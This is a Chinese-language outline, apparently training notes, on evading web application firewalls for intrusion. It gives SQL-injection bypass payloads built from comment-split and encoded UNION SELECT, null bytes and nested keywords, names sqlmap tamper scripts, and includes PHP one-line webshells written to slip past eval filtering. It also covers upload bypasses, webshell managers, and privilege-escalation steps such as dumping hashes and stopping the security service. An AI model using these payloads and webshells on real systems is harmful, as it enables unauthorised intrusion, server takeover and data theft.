大纲:
WAF防护原理讲解
目录扫描绕过WAF
手工注入绕过WAF
sqlmap绕过WAF
编写salmap绕过WAF
过WAF一句话编写讲解
菜刀连接绕过WAF
webshell上传绕过WAF
提权绕过WAF
WAF绕过原理详解
知己知彼百战百胜
了解WAF防护原理
查看WAF防护位置
熟悉防护规则
了解防护机制
查看拦截时间阀值
目录扫描绕过WAF
两种方式:
1、修改客户端IP
2、减慢扫描速度
3、通过代理欺骗WAF
手工注入绕过WAF
搭建测试环境
了解绕过原理
熟悉常见绕过构造语句
构造绕过测试环境
搭建环境
利用mysql客户端
配置注入源码
注入绕过方法
1、大小写变种
2、SQL注释
3、URL编码
4、空字节
5、嵌套、剥离
6、非标准入口点
7、避开自定义过滤器
使用注释
union select 1,2,3 from admin
注释完
/**/union/**/select/**/1,2,3 from admin
/**/un/**/io/**/n/**/sel/**/ec/**/t/**/ 1,2,3 from admin
第二种注释
/*!and*/ 1=2
URL编码
正常编码
‘为%27
1=52f *=%2a %=%25
/**/=%25 2f%25 2a*1
空字节
一些过滤器处理输入时,碰到拿到空字节就会停止处理。
如:
id=1%00and1=2
嵌套剥离
一些过滤器将用户的输入进行剥离敏感函数
应对方法:
seleselectect
剥离后
select
总结编写绕过语句
利用注释
/*^abc^*/
包含关键字
/*!/*!/*!union*/
变换提交方式
get->post方式或cookie
sqlmap tamper利用
symboliclogical.py
space2mssqlhash.py
appendnullbyte.py
利用修改tamper绕过waf
尝试编写过waf一句话
思路:
利用可变变量
$a=b $b=c $$a=c
利用函数
利用判断语句
利用编码
<?php
@eval($_POST[x]);
?>
会拦截eval函数
<?php
@$_GET[a]($_post[x]);
?>
a:动态的传参,传eval函数或assert等函数
突破waf拦截连接菜刀
用最新版的菜刀
中国蚁剑
过狗菜刀+中转脚本
上传过waf
上传突破禁止上传PHP脚本
1、文件包含
2、双文件上传突破限制
3、修改上传参数
提权过waf
通过程序读密码
利用waf绕过神器
利用exp读hash
将用户添加到远程桌面组,并给目录降权
用第三方软件提权
system把安全狗服务停止,重启服务器